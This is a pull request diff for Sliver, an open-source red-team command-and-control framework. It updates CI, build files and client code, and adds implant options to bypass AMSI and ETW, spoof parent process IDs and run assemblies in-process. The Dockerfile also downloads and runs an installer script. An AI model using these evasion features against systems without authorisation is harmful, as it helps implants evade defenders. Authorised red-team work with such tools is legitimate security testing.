Implemented cursed screenshot and better porfwd tunnel cleanup handling

Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2026-11-07 17:08:13 -10:00 · 2022-09-03 16:07:35 -07:00 · 2022-09-03 14:06:34 -07:00 · 2022-09-02 17:45:50 -07:00 · 2022-09-02 16:52:56 -07:00 · 2022-09-02 16:03:52 -07:00
3197 changed files with 1571496 additions and 200597 deletions
@@ -0,0 +1 @@
+* @BishopFox/red-team
@@ -3,7 +3,7 @@ name: Release
 on:
  push:
    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
-    branches: [master]
+    branches: [master, goreleaser]

 jobs:

@@ -14,10 +14,10 @@ jobs:
    timeout-minutes: 45
    steps:

-    - name: Go 1.17
+    - name: Go 1.18
      uses: actions/setup-go@v2
      with:
-        go-version: '^1.17'
+        go-version: '1.18.5'
    
    - name: OS Packages 
      run: |
@@ -35,6 +35,8 @@ jobs:
      run: ./go-assets.sh

    - name: Make
+      env:
+        ARTIFACT_SUFFIX: _linux
      run: export PATH=/home/runner/go/bin/:$PATH && make linux
  
    - name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
        path: ./sliver-*

    - name: Make Windows
-      run: export PATH=/home/runner/go/bin/:$PATH && make windows
+      env: 
+        ARTIFACT_SUFFIX: _windows
+      run: |
+        make clean
+        export PATH=/home/runner/go/bin/:$PATH && make windows

    - name: Windows Artifacts
      uses: actions/upload-artifact@v2
@@ -59,10 +65,10 @@ jobs:
    timeout-minutes: 45
    steps:

-    - name: Go 1.17
+    - name: Go 1.18
      uses: actions/setup-go@v2
      with:
-        go-version: '^1.17'
+        go-version: '1.18.5'

    - name: Mingw
      run: brew install mingw-w64
@@ -77,10 +83,14 @@ jobs:
      run: ./go-assets.sh

    - name: Make AMD64
+      env: 
+        ARTIFACT_SUFFIX: _macos
      run: make macos
-    
-    # - name: Make ARM64
-    #   run: make macos-arm64
+
+    - name: Make ARM64
+      env: 
+        ARTIFACT_SUFFIX: _macos-arm64
+      run: make macos-arm64

    - name: MacOS Artifacts
      uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
    timeout-minutes: 45

    steps:
-    - run: mkdir -p ./release && mkdir -p ./artifacts
+  
+    - run: mkdir -p ./builds
    - uses: actions/download-artifact@v2
      with:
-        path: ./artifacts
+        path: ./builds
+
+    - name: Extract Artifacts
+      run: |
+        mkdir -p ./artifacts
+        cp ./builds/linux/* ./artifacts
+        cp ./builds/windows/* ./artifacts
+        cp ./builds/macos/* ./artifacts

    - id: install-secret-key
      name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
        gpg --list-secret-keys --keyid-format LONG

-    - name: Release
-      run: mkdir -p ./release
-
    # Linux
    - name: Linux AMD64
      run: |
-        zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
-        zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
-        gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
-
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+    
    # Windows
    - name: Windows AMD64
      run: |
-        zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
-        zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
-        gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe

    # MacOS AMD64
    - name: MacOS AMD64
      run: |
-        zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
-        zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
-        gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
-
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+  
    # MacOS ARM64
-    # - name: Package MacOS ARM64
-    #   run: |
-    #     zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
-    #     zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
-
+    - name: Package MacOS ARM64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+  
    - name: "Publish Release"
      uses: "marvinpinto/action-automatic-releases@latest"
      with:
        repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: false
+        prerelease: true
        files: |
-          ./release/*
+          ./artifacts/*
@@ -17,10 +17,10 @@ jobs:

    steps:
      # Setup go environment
-      - name: Go 1.17
+      - name: Go 1.18
        uses: actions/setup-go@v2
        with:
-          go-version: "^1.17"
+          go-version: "1.18.5"

      - name: Checkout repository
        uses: actions/checkout@v2
@@ -6,19 +6,24 @@ on:
  pull_request:
    branches:
      - master
+    types:
+      - opened
+      - reopened
+      - synchronize
+      - ready_for_review

 jobs:

  linux-windows-build:
    name: Linux & Windows Build
    runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
    steps:

-    - name: Go 1.17
+    - name: Go 1.18
      uses: actions/setup-go@v2
      with:
-        go-version: '^1.17'
+        go-version: '1.18.5'
    
    - name: OS Packages 
      run: |
@@ -47,13 +52,13 @@ jobs:
  macos-build:
    name: MacOS Build
    runs-on: macos-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
    steps:

-    - name: Go 1.17
+    - name: Go 1.18
      uses: actions/setup-go@v2
      with:
-        go-version: '^1.17'
+        go-version: '1.18.5'

    - name: Mingw
      run: brew install mingw-w64
@@ -40,3 +40,5 @@ sliver-server-windows.zip
 .glide/

 .DS_Store
+
+dist/
@@ -1,4 +1,4 @@
-FROM golang:1.17.6
+FROM golang:1.18.5

 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.17.6
 #            a Docker deployment this is probably a good place to start.
 #

-ENV PROTOC_VER 3.17.1
-ENV PROTOC_GEN_GO_VER v1.26.0
-ENV GRPC_GO v1.1.0
+ENV PROTOC_VER 3.19.4
+ENV PROTOC_GEN_GO_VER v1.27.1
+ENV GRPC_GO v1.2.0

 # Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
-  git build-essential zlib1g zlib1g-dev \
-  libxml2 libxml2-dev libxslt-dev locate curl \
-  libreadline6-dev libcurl4-openssl-dev git-core \
-  libssl-dev libyaml-dev openssl autoconf libtool \
-  ncurses-dev bison curl wget xsel postgresql \
-  postgresql-contrib postgresql-client libpq-dev \
-  libapr1 libaprutil1 libsvn1 \
-  libpcap-dev libsqlite3-dev libgmp3-dev \
-  zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
-  nasm gcc-multilib
+    git build-essential zlib1g zlib1g-dev \
+    libxml2 libxml2-dev libxslt-dev locate curl \
+    libreadline6-dev libcurl4-openssl-dev git-core \
+    libssl-dev libyaml-dev openssl autoconf libtool \
+    ncurses-dev bison curl wget xsel postgresql \
+    postgresql-contrib postgresql-client libpq-dev \
+    libapr1 libaprutil1 libsvn1 \
+    libpcap-dev libsqlite3-dev libgmp3-dev \
+    zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
+    nasm gcc-multilib

 #
 # > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 # > Metasploit
 #
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
-  && chmod 755 msfinstall \
-  && ./msfinstall
+    && chmod 755 msfinstall \
+    && ./msfinstall
 RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
    &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'

@@ -3,6 +3,7 @@
 #

 GO ?= go
+ARTIFACT_SUFFIX ?= 
 ENV =
 TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension

@@ -22,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
 GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
 GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 17
+MIN_SUPPORTED_GO_MINOR_VERSION = 18
 GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)

 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
-RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
-CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
-ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
-ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
+RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
+ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
 VERSION_PKG = github.com/bishopfox/sliver/client/version
+CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets

 GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
 GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -76,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
 endif
+
+# If no target is specified, determine GOARCH
 ifeq ($(UNAME_P),arm)
-	ENV += GOARCH=arm64
+	ifeq ($(MAKECMDGOALS), )
+		ENV += GOARCH=arm64
+	endif
 endif

 ifeq ($(MAKECMDGOALS), linux)
@@ -99,28 +104,33 @@ endif
 #
 .PHONY: default
 default: clean validate-go-version
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: macos
 macos: clean validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: macos-arm64
 macos-arm64: clean validate-go-version
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: linux
 linux: clean validate-go-version
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
+.PHONY: linux-arm64
+linux-arm64: clean validate-go-version
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: windows
 windows: clean validate-go-version
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client

 .PHONY: pb
 pb:
@@ -151,5 +161,4 @@ clean-all: clean

 .PHONY: clean
 clean:
-	rm -f sliver-client_arm64 sliver-server_arm64
 	rm -f sliver-client sliver-server sliver-*.exe
@@ -1,7 +1,7 @@
 Sliver
 ======

-Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).

@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a

 See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).

+### Feedback
+
+Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
+
 ### License - GPLv3

 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
@@ -21,7 +21,9 @@ package assets
 import (
 	"encoding/json"
 	"io/ioutil"
+	"log"
 	"os"
+	"os/exec"
 	"path/filepath"
 )

@@ -30,8 +32,10 @@ const (
 )

 var (
+	// DefaultArmoryPublicKey - The default public key for the armory
 	DefaultArmoryPublicKey string
-	DefaultArmoryRepoURL   string
+	// DefaultArmoryRepoURL - The default repo url for the armory
+	DefaultArmoryRepoURL string

 	defaultArmoryConfig = &ArmoryConfig{
 		PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
 	}
 )

+// ArmoryConfig - The armory config file
 type ArmoryConfig struct {
-	PublicKey string `json:"public_key"`
-	RepoURL   string `json:"repo_url"`
+	PublicKey        string `json:"public_key"`
+	RepoURL          string `json:"repo_url"`
+	Authorization    string `json:"authorization"`
+	AuthorizationCmd string `json:"authorization_cmd"`
 }

 // GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
 	if err != nil {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}
+	for _, armoryConfig := range armoryConfigs {
+		if armoryConfig.AuthorizationCmd != "" {
+			armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
+		}
+	}
 	return append(armoryConfigs, defaultArmoryConfig)
 }
+
+func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
+	if armoryConfig.AuthorizationCmd == "" {
+		return ""
+	}
+	out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
+	if err != nil {
+		log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
+		return ""
+	}
+	return string(out)
+}
@@ -33,6 +33,9 @@ type ClientSettings struct {
 	TableStyle        string `json:"tables"`
 	AutoAdult         bool   `json:"autoadult"`
 	BeaconAutoResults bool   `json:"beacon_autoresults"`
+	SmallTermWidth    int    `json:"small_term_width"`
+	AlwaysOverflow    bool   `json:"always_overflow"`
+	VimMode           bool   `json:"vim_mode"`
 }

 // LoadSettings - Load the client settings from disk
@@ -55,6 +58,9 @@ func defaultSettings() *ClientSettings {
 		TableStyle:        "SliverDefault",
 		AutoAdult:         false,
 		BeaconAutoResults: true,
+		SmallTermWidth:    170,
+		AlwaysOverflow:    false,
+		VimMode:           false,
 	}
 }

@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
 		return
 	}
-	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
 	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		con.PrintInfof("Alias '%s' already exists", manifest.Name)
+		con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
 		confirm := false
 		prompt := &survey.Confirm{Message: "Overwrite current install?"}
 		survey.AskOne(prompt, &confirm)
@@ -28,6 +28,7 @@ import (
 	"path/filepath"
 	"strings"

+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -158,10 +159,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}

 	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
+	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
+	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
+	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
 	addAliasCmd := &grumble.Command{
 		Name:     aliasManifest.CommandName,
 		Help:     helpMsg,
-		LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
+		LongHelp: longHelpMsg,
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runAliasCommand(extCtx, con)
@@ -174,8 +178,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				f.Bool("i", "in-process", false, "Run in the current sliver process")
+				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+
 			}
 			f.String("p", "process", "", "Path to process to host the shared object")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
 			f.Bool("s", "save", false, "Save output to disk")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -266,7 +277,20 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	} else {
 		extArgs = strings.Join(args, " ")
 	}
+
+	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
+	processArgsStr := ctx.Flags.String("process-arguments")
+	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
+		con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
+	processArgs := strings.Split(processArgsStr, " ")
 	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
@@ -301,15 +325,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveTarget.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
+			Request:     con.ActiveTarget.Request(ctx),
+			IsDLL:       isDLL,
+			Process:     processName,
+			Arguments:   extArgs,
+			Assembly:    binData,
+			Arch:        ctx.Flags.String("arch"),
+			Method:      ctx.Flags.String("method"),
+			ClassName:   ctx.Flags.String("class"),
+			AppDomain:   ctx.Flags.String("app-domain"),
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			InProcess:   ctx.Flags.Bool("in-process"),
+			Runtime:     ctx.Flags.String("runtime"),
+			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
+			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
 		})
 		ctrl <- true
 		<-ctrl
@@ -345,6 +375,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			EntryPoint:  aliasManifest.Entrypoint,
 			Kill:        true,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -381,6 +413,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			Kill:        true,
 			IsDLL:       isDLL,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -38,12 +38,15 @@ import (
 	"golang.org/x/term"
 )

+// ArmoryIndex - Index JSON containing alias/extension/bundle information
 type ArmoryIndex struct {
-	Aliases    []*ArmoryPackage `json:"aliases"`
-	Extensions []*ArmoryPackage `json:"extensions"`
-	Bundles    []*ArmoryBundle  `json:"bundles"`
+	ArmoryConfig *assets.ArmoryConfig `json:"-"`
+	Aliases      []*ArmoryPackage     `json:"aliases"`
+	Extensions   []*ArmoryPackage     `json:"extensions"`
+	Bundles      []*ArmoryBundle      `json:"bundles"`
 }

+// ArmoryPackage - JSON metadata for alias or extension
 type ArmoryPackage struct {
 	Name        string `json:"name"`
 	CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
 	IsAlias bool `json:"-"`
 }

+// ArmoryBundle - A list of packages
 type ArmoryBundle struct {
 	Name     string   `json:"name"`
 	Packages []string `json:"packages"`
 }

+// ArmoryHTTPConfig - Configuration for armory HTTP client
 type ArmoryHTTPConfig struct {
+	ArmoryConfig         *assets.ArmoryConfig
 	IgnoreCache          bool
 	ProxyURL             *url.URL
 	Timeout              time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
 }

 type indexCacheEntry struct {
-	RepoURL string
-	Fetched time.Time
-	Index   ArmoryIndex
-	LastErr error
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Index        ArmoryIndex
+	LastErr      error
 }

 type pkgCacheEntry struct {
-	RepoURL   string
-	Fetched   time.Time
-	Pkg       ArmoryPackage
-	Sig       minisign.Signature
-	Alias     *alias.AliasManifest
-	Extension *extensions.ExtensionManifest
-	LastErr   error
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Pkg          ArmoryPackage
+	Sig          minisign.Signature
+	Alias        *alias.AliasManifest
+	Extension    *extensions.ExtensionManifest
+	LastErr      error
 }

 var (
@@ -88,7 +96,10 @@ var (
 	// public key -> armoryPkgCacheEntry
 	pkgCache = sync.Map{}

-	cacheTime      = time.Hour // This will kill a download if exceeded so needs to be large
+	// cacheTime - How long to cache the index/pkg manifests
+	cacheTime = time.Hour
+
+	// This will kill a download if exceeded so needs to be large
 	defaultTimeout = 15 * time.Minute
 )

@@ -223,8 +234,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + "Packages" + console.Normal)

-	minWidth := 150
-	if minWidth < width {
+	if con.Settings.SmallTermWidth < width {
 		tw.AppendHeader(table.Row{
 			"Command Name",
 			"Version",
@@ -279,7 +289,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 		if extensions.CmdExists(pkg.CommandName, con.App) {
 			color = console.Green
 		}
-		if minWidth < width {
+		if con.Settings.SmallTermWidth < width {
 			rows = append(rows, table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -313,9 +323,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
 		{Name: "Name", Mode: table.Asc},
 	})
 	for _, bundle := range bundles {
+		if len(bundle.Packages) < 1 {
+			continue
+		}
+		packages := bundle.Packages[0]
+		if 1 < len(packages) {
+			packages += ", "
+		}
+		for index, pkgName := range bundle.Packages[1:] {
+			if index%5 == 4 {
+				packages += pkgName + "\n"
+			} else {
+				packages += pkgName
+				if index != len(bundle.Packages)-2 {
+					packages += ", "
+				}
+			}
+		}
 		tw.AppendRow(table.Row{
 			bundle.Name,
-			strings.Join(bundle.Packages, ", "),
+			packages,
 		})
 	}
 	con.Printf("%s\n", tw.Render())
@@ -376,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
 		}
 	}

-	armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
+	armoryResult := &indexCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryConfig.RepoURL,
+	}
 	defer func() {
 		armoryResult.Fetched = time.Now()
 		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -412,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
 		for _, armoryPkg := range index.Extensions {
 			wg.Add(1)
 			armoryPkg.IsAlias = false
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
 		}
 		for _, armoryPkg := range index.Aliases {
 			wg.Add(1)
 			armoryPkg.IsAlias = true
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
 		}
 	}
 	wg.Wait()
 }

-func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
 	defer wg.Done()
 	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
 	if ok {
@@ -433,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
 		}
 	}

-	pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
+	pkgCacheEntry := &pkgCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryPkg.RepoURL,
+	}
 	defer func() {
 		pkgCacheEntry.Fetched = time.Now()
 		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -453,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
